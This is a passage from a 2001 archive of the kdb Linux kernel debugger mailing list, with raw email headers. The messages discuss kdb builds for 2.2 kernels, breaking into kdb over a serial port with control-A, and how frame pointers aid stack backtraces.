May 2001 09:35:19 +0200, > "Moshe Ashkenazi" wrote: > >I'm using kernel 2.2.19/18. > >Does any one knows what is the right version of kdb for my kernel & > >from where can I have it ? > > SGI do not support kdb for 2.2 kernels, all our work is on 2.4. > > ftp://oss.sgi.com:/projects/kdb/download/ix86/ contains > kdb-v1.5-2.2.18.gz but I am not maintaining kdb for 2.2 kernels. If it > works, fine, if not then try asking the list, somebody else might have > got it working on 2.2.19. I'm working with kdb on the 2.2.18 kernel. It works fine with the above mentioned file. -- Micha. "The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer." From owner-kdb@oss.sgi.com Thu May 24 06:00:10 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4OD0Aj14949 for kdb-outgoing; Thu, 24 May 2001 06:00:10 -0700 Received: from ureach.com (mail.ureach.com [63.150.151.36]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4OD08F14946 for ; Thu, 24 May 2001 06:00:08 -0700 Received: from www20.ureach.com (IDENT:root@www20.ureach.com [172.16.2.48]) by ureach.com (8.9.1/8.8.5) with ESMTP id JAA16664; Thu, 24 May 2001 09:00:02 -0400 Received: (from nobody@localhost) by www20.ureach.com (8.9.3/8.9.1) id JAA06476; Thu, 24 May 2001 09:00:02 -0400 Date: Thu, 24 May 2001 09:00:02 -0400 Message-Id: <200105241300.JAA06476@www20.ureach.com> To: "slurn@verisign.com" From: Kapish K Reply-to: Subject: Re: Re: kdb prompt?? cc: kdb@oss.sgi.com Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-vsuite-type: e Sender: owner-kdb@oss.sgi.com Precedence: bulk Hello, Thanks.. I'll look that up... another query... how does the frame pointer support help in obtaining better debug information? Any hints or pointers are sufficient for me to follow this up on my own. Thanks ---- On Wed, 23 May 2001, slurn@verisign.com (slurn@verisign.com) wrote: > > > > Hello, > > How do I get to break into kdb on a live system? is it by using > > the pause key ( I think I read that in the documentation or > > something )...but what if I am running the target machine > > console via a serial port? the pause key does not seem to > > work...of course when I simulate a panic, the system goes into > > kdb..so, that's okay... buI would liek to know how to enter it > > at any point in time... > > any pointers would be most welcome.. > > From the serial port, control-A is the default accessor. > > Note that control-A won't be accepted until the interrupt routine > has been attached, which doesn't happen until the first application > program (e.g. mingetty or getty) opens the serial port. If you > need to break in via the serial port prior to that point, you'll have > to use the early kdb entry mechanism and establish the appropriate > breakpoint(s). > > scott > > > Thanks > > > ________________________________________________ Get your own "800" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag From owner-kdb@oss.sgi.com Thu May 24 06:33:48 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4ODXm915837 for kdb-outgoing; Thu, 24 May 2001 06:33:48 -0700 Received: from marcellos.corky.net ([212.150.53.130]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4ODXjF15833 for ; Thu, 24 May 2001 06:33:46 -0700 Received: (from marc@localhost) by marcellos.corky.net (8.9.3/8.8.7) id QAA07591 for kdb@oss.sgi.com; Thu, 24 May 2001 16:33:39 +0300 Date: Thu, 24 May 2001 16:33:39 +0300 From: Marc Esipovich To: kdb@oss.sgi.com Subject: Re: Re: kdb prompt?? Message-ID: <20010524163339.A17378@marcellos.corky.net> References: <200105241300.JAA06476@www20.ureach.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200105241300.JAA06476@www20.ureach.com>; from kapish@ureach.com on Thu, May 24, 2001 at 09:00:02AM -0400 Sender: owner-kdb@oss.sgi.com Precedence: bulk .------[ Kapish K wrote (Thu, May 24, 2001 at 09:00:02AM -0400) ]------ | | | Hello, | Thanks.. I'll look that up... | another query... how does the frame pointer support help in | obtaining better debug information? Any hints or pointers are | sufficient for me to follow this up on my own. `------------------------------------------------- They aid in more reliable stack backtrace. bye, Marc. -- marc @ corky.net fingerprint = D1F0 5689 967F B87A 98EB C64D 256A D6BF 80DE 6D3C /"\ \ / ASCII Ribbon Campaign X Against HTML Mail / \ From owner-kdb@oss.sgi.com Thu May 24 14:23:16 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4OLNGx07794 for kdb-outgoing; Thu, 24 May 2001 14:23:16 -0700 Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4OLNDF07791 for ; Thu, 24 May 2001 14:23:14 -0700 Received: (qmail 22241 invoked from network); 24 May 2001 21:23:10 -0000 Received: from ocs3.ocs-net (192.168.255.3) by mail.ocs.com.au with SMTP; 24 May 2001 21:23:10 -0000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: kapish@ureach.com cc: kdb@oss.sgi.com Subject: Re: kdb prompt?? In-reply-to: Your message of "Thu, 24 May 2001 09:00:02 -0400." <200105241300.JAA06476@www20.ureach.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 25 May 2001 07:23:10 +1000 Message-ID: <17225.990739390@ocs3.ocs-net> Sender: owner-kdb@oss.sgi.com Precedence: bulk On Thu, 24 May 2001 09:00:02 -0400, Kapish K wrote: >another query... how does the frame pointer support help in >obtaining better debug information? In theory they help to work out where the stack frames are for the back trace command, the early versions of kdb required frame pointers to do backtrace. But see the comments at the start of kdb_get_next_ar() in kdb/kdbsupport.c and kdba_prologue() in arch/i386/kdb/kdbasupport.c. From owner-kdb@oss.sgi.com Thu May 31 21:24:27 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f514OR322478 for kdb-outgoing; Thu, 31 May 2001 21:24:27 -0700 Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f514OOh22475 for ; Thu, 31 May 2001 21:24:25 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id VAA00564 for ; Thu, 31 May 2001 21:24:23 -0700 (PDT) mail_from (kaos@melbourne.sgi.com) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA18411 for ; Fri, 1 Jun 2001 14:23:06 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: kdb@oss.sgi.com Subject: subscriber test Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 01 Jun 2001 14:23:06 +1000 Message-ID: <28143.991369386@kao2.melbourne.sgi.com> Sender: owner-kdb@oss.sgi.com Precedence: bulk Just checking if any subscribers will bounce, ignore.